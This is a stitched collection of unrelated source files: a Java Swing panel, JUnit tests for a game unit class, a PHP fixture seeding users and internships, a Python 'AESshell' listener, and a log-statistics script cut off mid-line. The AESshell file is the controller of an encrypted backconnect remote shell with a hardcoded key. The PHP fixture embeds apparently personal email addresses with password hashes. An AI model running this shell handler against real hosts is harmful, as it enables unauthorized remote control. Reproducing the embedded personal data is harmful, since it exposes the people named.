package Barricades; import java.awt.BorderLayout; import java.awt.Font; import java.awt.Graphics; import java.io.BufferedReader; import java.io.InputStreamReader; import java.net.URL; import javax.swing.ImageIcon; import javax.swing.JPanel; import javax.swing.JScrollPane; import javax.swing.JTextArea; public class PanneauRegles extends JPanel{ ClassLoader cldr = this.getClass().getClassLoader(); static ImageIcon imgTapis; final JTextArea edit = new JTextArea(40, 50); private static final long serialVersionUID = 1L; PanneauRegles(){ String path ="images/tapis_maison.jpg"; URL imageURL = cldr.getResource(path); imgTapis = new ImageIcon(imageURL); String inputLine = null; String inputLine2 =" "; BufferedReader in = null; try{ path ="fichiers/regles.txt"; imageURL = cldr.getResource(path); InputStreamReader reader = new InputStreamReader(imageURL.openStream()); in = new BufferedReader(reader); while ((inputLine = in.readLine()) != null){ inputLine2 = inputLine2 + " " + inputLine + "\n"; } in.close(); } catch(Exception e2){ System.out.println(e2); } edit.setFont(new Font("Verdana",1,12)); edit.setText(inputLine2); add( new JScrollPane(edit), BorderLayout.NORTH ); } public void paintComponent(Graphics g){ imgTapis.paintIcon(this, g, 0, 0); } }
Java
UTF-8
16,423
2.65625
3
[]
no_license
/** * */ package hillbillies.tests.unit; import static hillbillies.tests.util.PositionAsserts.assertDoublePositionEquals; import static org.junit.Assert.*; import ogp.framework.util.Util; import org.junit.Before; import org.junit.BeforeClass; import org.junit.Test; import hillbillies.model.*; import hillbillies.part2.listener.TerrainChangeListener; import ogp.framework.util.ModelException; /** * Test Suite for the class of Units * * @author Matthias Fabry & Lukas Van Riel * @version 1.0 * */ public class UnitTest { private static TerrainChangeListener thelistener; private Unit legalUnit; private static World theWorld; private static Faction theFaction; private static Terrain[][][] testTerrain = new Terrain[50][50][50]; @BeforeClass public static void setUpWorld() throws ModelException { for (int i = 0; i < 50; i++) for (int j = 0; j < 50; j++) for (int k = 0; k < 50; k++) testTerrain[i][j][k] = Terrain.AIR; theWorld = new World(testTerrain, thelistener); } /** * @throws ModelException * Should never happen, it is a legal unit */ @Before public void setUp() throws ModelException { legalUnit = new Unit("TestUnit", new int[]{1, 1, 0}, 50, 50, 50, 50, false, theWorld, theFaction); } // Constructor // @Test public void constructorLegalCase() { assertEquals(50, legalUnit.getAgility()); assertEquals(50, legalUnit.getStrength()); assertEquals(50, legalUnit.getToughness()); assertEquals(50, legalUnit.getWeight()); assertDoublePositionEquals(legalUnit.getPosition().getX(), legalUnit.getPosition().getY(), legalUnit.getPosition().getZ(), new double[]{1.5, 1.5, 0.5}); assertEquals("TestUnit", legalUnit.getName()); assertEquals(Activity.IDLE, legalUnit.getActivity()); assertTrue(Util.fuzzyEquals((double) legalUnit.getOrientation(), Math.PI / 2)); assertTrue(Util.fuzzyEquals(legalUnit.maxSecondaryAttribute(), legalUnit.getStamina())); assertTrue(Util.fuzzyEquals(legalUnit.maxSecondaryAttribute(), legalUnit.getHitpoints())); assertEquals(Activity.IDLE, legalUnit.getActivity()); assertEquals(false, legalUnit.getDefaultBehavior()); } @Test public void constructorIllegalAttribute() throws ModelException { Unit theUnit = new Unit("TestUnit", new int[]{2, 1, 0}, 50, 24, 50, 50, false, theWorld, theFaction); assertEquals(25, theUnit.getAgility()); assertEquals(50, theUnit.getStrength()); assertEquals(50, theUnit.getToughness()); assertEquals(50, theUnit.getWeight()); assertDoublePositionEquals(theUnit.getPosition().getX(), theUnit.getPosition().getY(), theUnit.getPosition().getZ(), new double[]{2.5, 1.5, 0.5}); assertEquals("TestUnit", theUnit.getName()); assertEquals(Activity.IDLE, theUnit.getActivity()); assertTrue(Util.fuzzyEquals((double) theUnit.getOrientation(), Math.PI / 2)); assertTrue(Util.fuzzyEquals(theUnit.maxSecondaryAttribute(), theUnit.getStamina())); assertTrue(Util.fuzzyEquals(theUnit.maxSecondaryAttribute(), theUnit.getHitpoints())); assertEquals(Activity.IDLE, theUnit.getActivity()); assertEquals(false, theUnit.getDefaultBehavior()); } @Test public void constructorIllegalWeight() throws ModelException { Unit theUnit = new Unit("TestUnit", new int[]{2, 1, 0}, 2, 26, 50, 50, false, theWorld, theFaction); assertEquals(26, theUnit.getAgility()); assertEquals(50, theUnit.getStrength()); assertEquals(50, theUnit.getToughness()); assertEquals(theUnit.lowestValidWeight(), theUnit.getWeight()); assertDoublePositionEquals(theUnit.getPosition().getX(), theUnit.getPosition().getY(), theUnit.getPosition().getZ(), new double[]{2.5, 1.5, 0.5}); assertEquals("TestUnit", theUnit.getName()); assertEquals(Activity.IDLE, theUnit.getActivity()); assertTrue(Util.fuzzyEquals((double) theUnit.getOrientation(), Math.PI / 2)); assertTrue(Util.fuzzyEquals(theUnit.maxSecondaryAttribute(), theUnit.getStamina())); assertTrue(Util.fuzzyEquals(theUnit.maxSecondaryAttribute(), theUnit.getHitpoints())); assertEquals(Activity.IDLE, theUnit.getActivity()); assertEquals(false, theUnit.getDefaultBehavior()); } // // Position // // // @Test // public void setPosition_LegalCase() throws ModelException { // legalUnit.setPosition(new Coordinate(2, 3, 5)); // assertDoublePositionEquals(legalUnit.getPosition().getX(), // legalUnit.getPosition().getY(), legalUnit.getPosition().getZ(), // new double[]{2, 3, 5}); // } // // @Test(expected = ModelException.class) // public void setPosition_IllegalCase() throws ModelException { // legalUnit.setPosition(new Coordinate(-3, 3, 5)); // } // Initial Primary Attributes // @Test public void nearestValidInitialAttribute_LowCase() { assertEquals(25, Unit.nearestValidInitialAttribute(12)); } @Test public void nearestValidInitialAttribute_HighCase() { assertEquals(100, Unit.nearestValidInitialAttribute(152)); } @Test public void nearestValidInitialWeight_LowCase() { assertEquals(legalUnit.lowestValidWeight(), legalUnit.nearestValidInitialWeight(20)); } @Test public void nearestValidInitialWeight_HighCase() { assertEquals(100, legalUnit.nearestValidInitialWeight(200)); } // Primary Attributes // @Test public void nearestValidAttribute_LowCase() { assertEquals(1, Unit.nearestValidAttribute(0)); } @Test public void nearestValidAttribute_HighCase() { assertEquals(200, Unit.nearestValidAttribute(510)); } @Test public void nearestValidWeight_LowCase() { assertEquals(legalUnit.lowestValidWeight(), legalUnit.nearestValidWeight(20)); } @Test public void nearestValidWeight_HighCase() { assertEquals(200, legalUnit.nearestValidWeight(600)); } @Test public void setWeight_LegalCase() { legalUnit.setWeight(75); assertEquals(75, legalUnit.getWeight()); } @Test public void setWeight_IllegalCase() { legalUnit.setWeight(30); assertEquals(legalUnit.nearestValidWeight(30), legalUnit.getWeight()); } @Test public void setToughness_LegalCase() { legalUnit.setToughness(75); assertEquals(75, legalUnit.getToughness()); } @Test public void setToughness_IllegalCase() { legalUnit.setToughness(201); assertEquals(Unit.nearestValidAttribute(201), legalUnit.getToughness()); } @Test public void setAgility_LegalCase() { legalUnit.setAgility(75); assertEquals(75, legalUnit.getAgility()); } @Test public void setAgility_IllegalCase() { legalUnit.setAgility(201); assertEquals(Unit.nearestValidAttribute(201), legalUnit.getAgility()); } @Test public void setStrength_LegalCase() { legalUnit.setStrength(75); assertEquals(75, legalUnit.getStrength()); } @Test public void setStrength_IllegalCase() { legalUnit.setStrength(201); assertEquals(Unit.nearestValidAttribute(201), legalUnit.getStrength()); } // Secondary Attributes // @Test public void testMaxSecondaryAttribute() { assertEquals(50, (int) Math .ceil(legalUnit.getWeight() * legalUnit.getToughness() / 50.0)); } @Test public void setHitpoints_LegalCase() { legalUnit.setHitpoints(15); assertTrue(Util.fuzzyEquals(15, legalUnit.getHitpoints())); } @Test(expected = AssertionError.class) public void setHitpoints_IllegalCase() { legalUnit.setHitpoints(51); } @Test public void setStamina_LegalCase() { legalUnit.setStamina(15); assertTrue(Util.fuzzyEquals(15, legalUnit.getStamina())); } @Test(expected = AssertionError.class) public void setStamina_IllegalCase() { legalUnit.setStamina(51); } // Name // @Test public void setName_LegalCase() throws ModelException { legalUnit.setName("Legal \"the boring\" Name"); } @Test(expected = ModelException.class) public void setName_IllegalCase_Capital() throws ModelException { legalUnit.setName("illegal name"); } @Test(expected = ModelException.class) public void setName_IllegalCase_Character() throws ModelException { legalUnit.setName("illegal name $"); } @Test(expected = ModelException.class) public void setName_IllegalCase_Empty() throws ModelException { legalUnit.setName(""); } // Orientation // @Test public void setOrientation_LegalCase() { legalUnit.setOrientation((float) (Math.PI - 0.2)); assertTrue( Util.fuzzyEquals((Math.PI - 0.2), legalUnit.getOrientation())); } @Test public void setOrientation_IllegalCase() { legalUnit.setOrientation((float) (Math.PI - 5)); assertTrue(Util.fuzzyEquals((Math.PI - 5) % (2 * Math.PI), legalUnit.getOrientation())); } // Moving // @Test public void getCurrentSpeed_Moving() throws ModelException { legalUnit.moveToAdjacent(0, 1, 0); assertTrue(Util.fuzzyEquals(1.5, legalUnit.getCurrentSpeed())); } @Test public void getCurrentSpeed_Sprinting() throws ModelException { legalUnit.moveToAdjacent(0, 1, 0); legalUnit.startSprinting(); assertTrue(Util.fuzzyEquals(2 * 1.5, legalUnit.getCurrentSpeed())); } @Test public void getCurrentSpeed_NotMoving() throws ModelException { assertTrue(Util.fuzzyEquals(0, legalUnit.getCurrentSpeed())); } @Test public void moveToAjacent_LegalDestination() throws ModelException { legalUnit.moveToAdjacent(1, 1, 0); advanceTimeFor(legalUnit, 3, 0.1); assertDoublePositionEquals(legalUnit.getPosition().getX(), legalUnit.getPosition().getY(), legalUnit.getPosition().getZ(), new double[]{2.5, 2.5, 0.5}); } @Test(expected = ModelException.class) public void moveToAjacent_IllegalDestination() throws ModelException { legalUnit.moveToAdjacent(-1, -1, 0); legalUnit.moveToAdjacent(-1, -1, 0); } @Test public void moveTo_LegalDestination() throws ModelException { legalUnit.moveTo(30, 15, 0); advanceTimeFor(legalUnit, 100, 0.1); assertDoublePositionEquals(legalUnit.getPosition().getX(), legalUnit.getPosition().getY(), legalUnit.getPosition().getZ(), new double[]{30.5, 15.5, 0.5}); } @Test(expected = ModelException.class) public void moveTo_IllegalDestination() throws ModelException { legalUnit.moveTo(-2, 15, 0); } @Test(expected = ModelException.class) public void moveTo_AlreadyMoving() throws ModelException { legalUnit.moveTo(2, 15, 0); legalUnit.moveTo(3, 1, 2); } @Test public void startSprinting_LegalCase() throws ModelException { legalUnit.moveTo(2, 15, 0); legalUnit.startSprinting(); assertEquals(Activity.SPRINTING, legalUnit.getActivity()); } @Test(expected = ModelException.class) public void startSprinting_IllegalCase_NotMoving() throws ModelException { legalUnit.startSprinting(); } @Test(expected = ModelException.class) public void startSprinting_IllegalCase_StaminaDepleted() throws ModelException { legalUnit.setStamina(0); legalUnit.startSprinting(); } @Test public void sprinting_DepletesStamina() throws ModelException { legalUnit.moveTo(49, 49, 0); legalUnit.startSprinting(); advanceTimeFor(legalUnit, 10, 0.2); assertEquals(Activity.MOVING, legalUnit.getActivity()); } // Working // @Test public void work_LegalCase() throws ModelException { legalUnit.workAt(legalUnit.getInWorldPosition()); assertEquals(Activity.WORKING, legalUnit.getActivity()); advanceTimeFor(legalUnit, 20, 0.1); assertEquals(Activity.IDLE, legalUnit.getActivity()); } @Test(expected = ModelException.class) public void work_IllegalCase() throws ModelException { legalUnit.moveTo(2, 2, 3); legalUnit.workAt(legalUnit.getInWorldPosition()); } // Attacking // @Test public void attack_LegalCase() throws ModelException { Unit victim = new Unit("Victim", new int[]{2, 1, 0}, 50, 25, 50, 50, false, theWorld, theFaction); legalUnit.attack(victim); assertEquals(Activity.ATTACKING, legalUnit.getActivity()); assertEquals(Activity.DEFENDING, victim.getActivity()); assertEquals(victim, legalUnit.getVictim()); assertTrue(Util.fuzzyEquals(legalUnit.getOrientation(), victim.getOrientation() - Math.PI)); advanceTimeFor(legalUnit, 2, 0.1); assertEquals(Activity.IDLE, legalUnit.getActivity()); assertTrue(victim.getHitpoints() <= victim.maxSecondaryAttribute()); assertEquals(Activity.IDLE, victim.getActivity()); assertEquals(null, legalUnit.getVictim()); } @Test(expected = ModelException.class) public void attack_IllegalCase_VictimTooFar() throws ModelException { Unit victim = new Unit("Victim", new int[]{10, 1, 0}, 50, 24, 50, 50, false, theWorld, theFaction); legalUnit.attack(victim); } @Test(expected = ModelException.class) public void attack_IllegalCase_NotReady() throws ModelException { Unit victim = new Unit("Victim", new int[]{1, 1, 0}, 50, 24, 50, 50, false, theWorld, theFaction); legalUnit.moveTo(10, 2, 0); legalUnit.attack(victim); } // Resting // @Test public void rest_LegalCase() throws ModelException { legalUnit.setHitpoints(0.0); legalUnit.setStamina(10); legalUnit.rest(); assertEquals(Activity.RESTING, legalUnit.getActivity()); advanceTimeFor(legalUnit, 4, 0.05); assertTrue(Util.fuzzyEquals(5, legalUnit.getHitpoints())); } @Test public void rest_LegalCase_HPToStamina() throws ModelException { legalUnit.setHitpoints(45.0); legalUnit.setStamina(10); legalUnit.rest(); assertEquals(Activity.RESTING, legalUnit.getActivity()); advanceTimeFor(legalUnit, 6, 0.05); assertTrue(Util.fuzzyEquals(50, legalUnit.getHitpoints())); assertTrue(Util.fuzzyEquals(15, legalUnit.getStamina())); } @Test public void rest_LegalCase_StaminaToFull() throws ModelException { legalUnit.setStamina(10); legalUnit.rest(); assertEquals(Activity.RESTING, legalUnit.getActivity()); advanceTimeFor(legalUnit, 20, 0.05); assertTrue(Util.fuzzyEquals(50, legalUnit.getHitpoints())); assertTrue(Util.fuzzyEquals(50, legalUnit.getStamina())); assertEquals(Activity.IDLE, legalUnit.getActivity()); } @Test public void autoRest_After3Mins() throws ModelException { legalUnit.setStamina(12); assertEquals(Activity.IDLE, legalUnit.getActivity()); advanceTimeFor(legalUnit, 181, 0.2); assertEquals(Activity.RESTING, legalUnit.getActivity()); } @Test(expected = ModelException.class) public void rest_IllegalCase_NotReady() throws ModelException { legalUnit.setStamina(12); legalUnit.moveTo(2, 3, 4); legalUnit.rest(); } @Test(expected = ModelException.class) public void rest_IllegalCase_WhileAttacked() throws ModelException { Unit victim = new Unit("Victim", new int[]{1, 1, 1}, 50, 24, 50, 50, false, theWorld, theFaction); victim.setStamina(12); legalUnit.attack(victim); victim.rest(); } // Default Behavior // @Test public void defaultBehavior_OnFromIdle() throws ModelException { legalUnit.setStamina(25); legalUnit.setDefaultBehavior(true); assertTrue(legalUnit.getDefaultBehavior()); advanceTimeFor(legalUnit, 0.2, 0.1); assertFalse(legalUnit.getActivity() == Activity.IDLE); assertTrue(legalUnit.getDefaultBehavior()); } @Test(expected = ModelException.class) public void defaultBehavior_OnWhenNotIdle() throws ModelException { legalUnit.moveToAdjacent(1, 1, 1); legalUnit.setDefaultBehavior(true); } @Test public void defaultBehavior_Off() throws ModelException { legalUnit.setStamina(12); legalUnit.setDefaultBehavior(true); assertTrue(legalUnit.getDefaultBehavior()); advanceTimeFor(legalUnit, 0.2, 0.1); assertFalse(legalUnit.getActivity() == Activity.IDLE); legalUnit.setDefaultBehavior(false); advanceTimeFor(legalUnit, 50, 0.1); assertFalse(legalUnit.getDefaultBehavior()); } // Time Control // /** * Helper method to advance time for the given unit by some time. * * @param time * The time, in seconds, to advance. * @param step * The step size, in seconds, by which to advance. */ private static void advanceTimeFor(Unit unit, double time, double step) throws ModelException { int n = (int) (time / step); for (int i = 0; i < n; i++) unit.advanceTime(step); unit.advanceTime(time - n * step); } }
PHP
UTF-8
7,760
2.59375
3
[]
no_license
<?php namespace App\DataFixtures; use Doctrine\Bundle\FixturesBundle\Fixture; use Doctrine\Common\Persistence\ObjectManager; use App\Entity\Formation; use App\Entity\Entreprise; use App\Entity\Stage; use App\Entity\User; class AppFixtures extends Fixture { public function load(ObjectManager $manager) { //Création de deux utilisateurs de test $dorian = new User(); $dorian->setPrenom("Dorian"); $dorian->setNom("GIL"); $dorian->setEmail("gildorian2000@gmail.com"); $dorian->setRoles(['ROLE_USER', 'ROLE_ADMIN']); $dorian->setPassword('$2y$10$WJQrMKnuXQPPEKZ1LEBJQOHkG.6i2reFSd.wh1HXesAd2UuNrH1ii'); $manager->persist($dorian); $maeva = new User(); $maeva->setPrenom("Maeva"); $maeva->setNom("GIL"); $maeva->setEmail("vava2004@gmail.com"); $maeva->setRoles(['ROLE_USER']); $maeva->setPassword('$2y$10$BqYx3z6xnbWqP.nLmJUDo.xRtbbvoIJ.cgju5jcmZpYMwkVf7xR9q'); $manager->persist($maeva); //Créateur d'un générateur de données Faker $faker = \Faker\Factory::create('fr_FR'); //Génération des données de test Entreprise $EntrepriseFiducial = new Entreprise(); $EntrepriseFiducial->setNom("Fiducial"); $EntrepriseFiducial->setActivite($faker->realText($maxNbChars = 150, $indexSize = 2)); $EntrepriseFiducial->setAdresse($faker->address); $EntrepriseFiducial->setSiteWeb($faker->url); $EntrepriseCreditAgricole = new Entreprise(); $EntrepriseCreditAgricole->setNom("Crédit Agricole"); $EntrepriseCreditAgricole->setActivite($faker->realText($maxNbChars = 150, $indexSize = 2)); $EntrepriseCreditAgricole->setAdresse($faker->address); $EntrepriseCreditAgricole->setSiteWeb($faker->url); $EntrepriseCapGemini = new Entreprise(); $EntrepriseCapGemini->setNom("CapGemini"); $EntrepriseCapGemini->setActivite($faker->realText($maxNbChars = 150, $indexSize = 2)); $EntrepriseCapGemini->setAdresse($faker->address); $EntrepriseCapGemini->setSiteWeb($faker->url); $EntrepriseWellPutt = new Entreprise(); $EntrepriseWellPutt->setNom("Well Putt"); $EntrepriseWellPutt->setActivite($faker->realText($maxNbChars = 150, $indexSize = 2)); $EntrepriseWellPutt->setAdresse($faker->address); $EntrepriseWellPutt->setSiteWeb($faker->url); $EntrepriseZalando = new Entreprise(); $EntrepriseZalando->setNom("Zalando"); $EntrepriseZalando->setActivite($faker->realText($maxNbChars = 150, $indexSize = 2)); $EntrepriseZalando->setAdresse($faker->address); $EntrepriseZalando->setSiteWeb($faker->url); $EntrepriseSeriousWeb = new Entreprise(); $EntrepriseSeriousWeb->setNom("Serious Web"); $EntrepriseSeriousWeb->setActivite($faker->realText($maxNbChars = 150, $indexSize = 2)); $EntrepriseSeriousWeb->setAdresse($faker->address); $EntrepriseSeriousWeb->setSiteWeb($faker->url); $EntrepriseMetaPhylo = new Entreprise(); $EntrepriseMetaPhylo->setNom("MetaPhylo"); $EntrepriseMetaPhylo->setActivite($faker->realText($maxNbChars = 150, $indexSize = 2)); $EntrepriseMetaPhylo->setAdresse($faker->address); $EntrepriseMetaPhylo->setSiteWeb($faker->url); //Tableau d'entreprises $TableauEntreprises = array($EntrepriseCapGemini, $EntrepriseCreditAgricole, $EntrepriseFiducial, $EntrepriseMetaPhylo, $EntrepriseSeriousWeb, $EntrepriseWellPutt, $EntrepriseZalando); //Mise en persistance des objets Entreprises foreach($TableauEntreprises as $entreprise) { $manager->persist($entreprise); } /* Formations 1ère version $formationDUTInfo = new Formation(); $formationDUTInfo->setNomLong("Diplôme Universitaire et Technologique Informatique"); $formationDUTInfo->setNomCourt("DUT Info"); $formationLPMul = new Formation(); $formationLPMul->setNomLong("Licence Professionnelle Multimédia"); $formationLPMul->setNomCourt("LP Multimédia"); $formationDUTIC = new Formation(); $formationDUTIC->setNomLong("Diplôme Universitaire en Technologies de l'Information et de la Communication"); $formationDUTIC->setNomCourt("DU TIC"); $TableauFormation = array($formationDUTInfo, $formationLPMul, $formationDUTIC); foreach($TableauFormations as $formation) { $manager->persist($formation); } */ //Génération de données de test Formation $TableauFormations = array( "DUT INFO" => "Diplôme Universitaire et Technologique Informatique", "LP Multimédia" => "Licence Professionnelle Multimédia", "DU TIC" => "Diplôme Universitaire en Technologies de l'Information et de la Communication", ); /******************************************************** *** CREATION DES STAGES ET DE LEURS FORMATIONS ASSOCIEES *** *********************************************************/ foreach ($TableauFormations as $nomCourt => $nomLong) { // ************* Création d'une nouvelle formation ************* // $FormationCourrante = new Formation(); // Définition du nom court $FormationCourrante->setNomCourt($nomCourt); // Définition du nom long $FormationCourrante->setNomLong($nomLong); // Enregistrement de la formation créée $manager->persist($FormationCourrante); //Génération des données de test Stage $nbStageAGenerer = $faker->numberBetween($min = 0, $max = 8); for ($numStage = 0; $numStage < $nbStageAGenerer; $numStage++) { $Stage = new Stage(); $Stage->setTitre($faker->jobTitle); $Stage->setDescription($faker->realText($maxNbChars = 200, $indexSize = 2)); $Stage->setEmail($faker->companyEmail); //Création de la relation Stage --> Formation $Stage->addFormation($FormationCourrante); //Sélectionner une Entreprise au hasard parmi les 7 dans $TableauEntreprises $numEntreprise = $faker->numberBetween($min = 0, $max = 6); //Création relation Stage --> Entreprise $Stage->setNomEntreprise($TableauEntreprises[$numEntreprise]); //Création relation Entreprise --> Stage $TableauEntreprises[$numStage]->addStage($Stage); //Persistez les éléments modifiés $manager->persist($Stage); $manager->persist($TableauEntreprises[$numEntreprise]); } } /*Génération de données de test Entreprise avec Faker dans une boucle itérative $nbEntreprises = 7; for ($i = 0 ; $i <= $nbEntreprises ; $i++) { $Entreprise = new Entreprise(); $Entreprise->setNom($faker->regexify('[A-Z][a-z]{5,12}')); $EntrepriseFiducial->setActivite($faker->realText($maxNbChars = 150, $indexSize = 2)); $EntrepriseFiducial->setAdresse($faker->address); $EntrepriseFiducial->setSiteWeb($faker->url); $manager->persist($Entreprise); }*/ //Envoyer les objets en BD $manager->flush(); } }
Python
UTF-8
6,578
2.53125
3
[]
no_license
#!/usr/bin/env python2 # import os import sys import time import hmac import fcntl import socket import select import hashlib import termios import argparse from Crypto.Cipher import AES class AuthenticationError(Exception): pass class Crypticle(object): """Authenticated encryption class Encryption algorithm: AES-CBC Signing algorithm: HMAC-SHA256 """ AES_BLOCK_SIZE = 16 SIG_SIZE = hashlib.sha256().digest_size def __init__(self, key_string, key_size=192): self.keys = self.extract_keys(key_string, key_size) self.key_size = key_size @classmethod def generate_key_string(cls, key_size=192): key = os.urandom(key_size / 8 + cls.SIG_SIZE) return key.encode("base64").replace("\n", "") @classmethod def extract_keys(cls, key_string, key_size): key = key_string.decode("base64") assert len(key) == key_size / 8 + cls.SIG_SIZE, "invalid key" return key[:-cls.SIG_SIZE], key[-cls.SIG_SIZE:] def encrypt(self, data): """encrypt data with AES-CBC and sign it with HMAC-SHA256""" aes_key, hmac_key = self.keys pad = self.AES_BLOCK_SIZE - len(data) % self.AES_BLOCK_SIZE data = data + pad * chr(pad) iv_bytes = os.urandom(self.AES_BLOCK_SIZE) cypher = AES.new(aes_key, AES.MODE_CBC, iv_bytes) data = iv_bytes + cypher.encrypt(data) sig = hmac.new(hmac_key, data, hashlib.sha256).digest() return data + sig def decrypt(self, data): """verify HMAC-SHA256 signature and decrypt data with AES-CBC""" aes_key, hmac_key = self.keys sig = data[-self.SIG_SIZE:] data = data[:-self.SIG_SIZE] if hmac.new(hmac_key, data, hashlib.sha256).digest() != sig: return -1 raise AuthenticationError("message authentication failed") else: iv_bytes = data[:self.AES_BLOCK_SIZE] data = data[self.AES_BLOCK_SIZE:] cypher = AES.new(aes_key, AES.MODE_CBC, iv_bytes) data = cypher.decrypt(data) return data[:-ord(data[-1])] def dumps(self, obj): """ argl """ return self.encrypt(obj) def loads(self, obj): """ argl """ data = self.decrypt(obj) if data == -1: return -1 return self.decrypt(obj) class PTY: """ rip off from infodox pty handler implementation https://github.com/infodox/python-pty-shells """ def __init__(self, slave=0, pid=os.getpid()): # apparently python GC's modules before class instances so, here # we have some hax to ensure we can restore the terminal state. self.termios, self.fcntl = termios, fcntl # open our controlling PTY self.pty = open(os.readlink("/proc/%d/fd/%d" % (pid, slave)), "rb+") # store our old termios settings so we can restore after # we are finished self.oldtermios = termios.tcgetattr(self.pty) # get the current settings se we can modify them newattr = termios.tcgetattr(self.pty) # set the terminal to uncanonical mode and turn off # input echo. newattr[3] &= ~termios.ICANON & ~termios.ECHO # don't handle ^C / ^Z / ^\ newattr[6][termios.VINTR] = '\x00' newattr[6][termios.VQUIT] = '\x00' newattr[6][termios.VSUSP] = '\x00' # set our new attributes termios.tcsetattr(self.pty, termios.TCSADRAIN, newattr) # store the old fcntl flags self.oldflags = fcntl.fcntl(self.pty, fcntl.F_GETFL) # fcntl.fcntl(self.pty, fcntl.F_SETFD, fcntl.FD_CLOEXEC) # make the PTY non-blocking fcntl.fcntl(self.pty, fcntl.F_SETFL, self.oldflags | os.O_NONBLOCK) def read(self, size=8192): return self.pty.read(size) def write(self, data): ret = self.pty.write(data) self.pty.flush() return ret def fileno(self): return self.pty.fileno() def __del__(self): # restore the terminal settings on deletion self.termios.tcsetattr(self.pty, self.termios.TCSAFLUSH, self.oldtermios) self.fcntl.fcntl(self.pty, self.fcntl.F_SETFL, self.oldflags) def banner(): """ _____ ___________ _________ .__ .__ .__ / _ \ \_ _____// _____/ _____| |__ ____ | | | | / /_\ \ | __)_ \_____ \ / ___/ | \_/ __ \| | | | / | \| \/ \\\\___ \| Y \ ___/| |_| |__ \____|__ /_______ /_______ /____ >___| /\___ >____/____/ \/ \/ \/ \/ \/ \/ """ def bindSocket(lip,lport): # create a socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # reuse the port if possible s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # bind it s.bind((lip,lport)) s.listen(1) return s def run(lip, lport, remoteOs): key = "F3UA7+ShYAKvsHemwQWv6IDl/88m7BhOU0GkhwqzwX1Cxl3seqANklv+MjiWUMcGCCsG2MIaZI4=" s = bindSocket(lip,lport) serv = s conn, addr = s.accept() # initialize aes class ac=Crypticle(key) # yeah, we just accept one client ;) inputs = [] inputs.append(conn) # spawn pty class from infodox if we expect back a unix client pty = '' if remoteOs == 'lnx': pty = PTY() inputs.append(pty) else: inputs.append(sys.stdin) cbuffer = "" print "[*] Connected: %s:%d" % (addr[0],addr[1]) while True: try: inputrd, outputrd, errorrd = select.select(inputs,[],[]) except select.error,e: print e break except socket.error,e: print e break for s in inputrd: if s == conn: data = s.recv(1) if data == '': print "Backconnect vanished!" sys.exit(1) cbuffer += data decContent = ac.loads(cbuffer) if decContent != -1: cbuffer = "" sys.stdout.write(decContent) sys.stdout.flush() elif s == pty: data = s.read(1024) encContent = ac.dumps(data) if encContent !=-1: conn.send(encContent) else: # we have a remote win and choosen the ugly stdin method sendData = sys.stdin.readline() encContent = ac.dumps(sendData) if encContent != -1: conn.send(encContent) print "[*] Finished" def main(): print banner.func_doc version = "0.7.3" parser_description = "AESshell v%s - backconnect shell for windows and linux\n\t\tusing AES CBC Mode and HMAC-SHA256\n\t\tspring 2015 by Marco Lux <ping@curesec.com>" % version parser = argparse.ArgumentParser( prog = 'AESshell client (listen.py)',\ description = parser_description,\ formatter_class=argparse.RawTextHelpFormatter) parser.add_argument("-lip", action="store",dest="lip", required=True,help="Local IP you want to bind the client part") parser.add_argument("-lport", action="store",dest="lport", type=int,required=True,help="Local Port you want to bind to") parser.add_argument("-os", action="store",dest="remoteOs", default="lnx",required=True,help="expected remote OS (lnx/win)",choices=['lnx', 'win']) args = parser.parse_args() run(args.lip,args.lport,args.remoteOs) if __name__ == '__main__': main()
Python
UTF-8
13,070
2.546875
3
[ "MIT" ]
permissive
''' Created on 19 oct. 2016 @author: supermanue ''' from sys import argv, exit import os from macpath import split from math import sqrt from sys import maxint as MAXINT import time ####### #Format of input file: prefix.numTasks #format of created scripts: prefix.numTasks_nodesxcoresPerNode combinationsACME=[[1,1,1], [2,1,2], [2,2,1], [4,1,4], [4,2,2], [4,4,1], [8,1,8], [8,2,4], [8,4,2], [8,8,1], [16,1,16], [16,2,8], [16,4,4], [16,8,2], [32,2,16], [32,4,8], [32,8,4], [32,4,8], [64,4,16], [64,8,8], [128,8,16]] #having these as global vars highly simplyfies code firstJobInit = MAXINT lastJobEnd = 0 clusterSize = 128 def prepareDataStructures(dataStruct, appName): for combination in combinationsACME: numTasks = combination[0] numNodes = combination[1] numTasksPerNode = combination[2] if not dataStruct.has_key(appName): dataStruct[appName]={} if not dataStruct[appName].has_key(numTasks): dataStruct[appName][numTasks]={} if not dataStruct[appName][numTasks].has_key(numNodes): dataStruct[appName][numTasks][numNodes]={} if not dataStruct[appName][numTasks][numNodes].has_key(numTasksPerNode): dataStruct[appName][numTasks][numNodes][numTasksPerNode]={'count':0, 'avg':0.0, 'dev':0, 'accumDev':0} def updateStats (dataStruct, appName, numTasks, numNodes, numTasksPerNode, initDate, endDate): if not appName in dataStruct.keys(): prepareDataStructures(dataStruct, appName) elem=dataStruct[appName][numTasks][numNodes][numTasksPerNode] oldValue = elem['count'] * elem['avg'] newValue = oldValue + endDate - initDate elem['count'] +=1 elem['avg'] = newValue / elem['count'] def accumulateDev (dataStruct, appName, numTasks, numNodes, numTasksPerNode, initDate, endDate): if not appName in dataStruct.keys(): prepareDataStructures(dataStruct, appName) elem=dataStruct[appName][numTasks][numNodes][numTasksPerNode] elem['accumDev'] += (endDate - initDate - elem['avg'])**2 def calculateDev (dataStruct): for appName in dataStruct.keys(): for numTask in dataStruct[appName].keys(): for numNode in dataStruct[appName][numTask].keys(): for numTasksPerNode in dataStruct[appName][numTask][numNode].keys(): try: dataStruct[appName][numTask][numNode][numTasksPerNode]['dev'] = sqrt(dataStruct[appName][numTask][numNode][numTasksPerNode]['accumDev']/dataStruct[appName][numTask][numNode][numTasksPerNode]['count']) except: dataStruct[appName][numTask][numNode][numTasksPerNode]['dev'] = -1 def processLogs(dataStruct, dirName): ##CALCULATE AVERAGE for fileName in os.listdir(dirName): if "slurm-" not in fileName: continue numTasks = 0 numNodes = 0 numTasksPerNode = 0 initDate = 0 endDate = 0 fullFileName = dirName + "/" + fileName fullFile = open(fullFileName, 'r') for line in fullFile.readlines(): #NAME IS SOMETHING LIKE "lu.A.2" if line.startswith("CODE="): splitLine = line.split("=") fullAppName = splitLine[1].strip() fullAppNameSplit= fullAppName.split(".") appName=fullAppNameSplit[0]+"." + fullAppNameSplit[1] elif line.startswith("WITH_DMTCP=TRUE"): appName+=".dmtcp" elif line.startswith("TASKS="): splitLine = line.split("=") numTasks = int(splitLine[1]) elif line.startswith("NODES="): splitLine = line.split("=") numNodes = 